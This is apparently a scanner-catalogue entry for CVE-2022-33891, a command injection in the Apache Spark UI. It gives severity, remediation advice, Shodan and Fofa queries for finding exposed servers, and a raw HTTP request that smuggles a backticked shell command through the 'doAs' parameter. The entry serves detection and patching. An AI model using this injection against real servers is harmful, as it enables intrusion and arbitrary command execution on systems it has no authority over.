| Title | Apache Spark UI - Remote Command Injection |
|---|---|
| Author | princechaddha |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system. |
| Remediation | Apply the latest security patches or updates provided by Apache Spark to fix the remote command injection vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.93513 |
| CVE ID | CVE-2022-33891 |
| CWE ID | CWE-78 |
| Shodan Query | title:"Spark Master at"http.html:"/apps/imt/html/"http.title:"spark master at" |
| Fofa Query | body="/apps/imt/html/"title="spark master at" |
| Tags | cve2022 cve apache spark kev packetstorm vkev vuln |
Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow impersonation by providing an arbitrary user name. An attacker can potentially reach a permission check function that will ultimately build a Unix shell command based on input and execute it, resulting in arbitrary shell command execution. Affected versions are 3.0.3 and earlier, 3.1.1 to 3.1.2, and 3.2.0 to 3.2.1.
GET /?doAs=`echo%20CVE-2022-33891%20%7C%20rev` HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-33891.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-33891.pcap
N/AN/A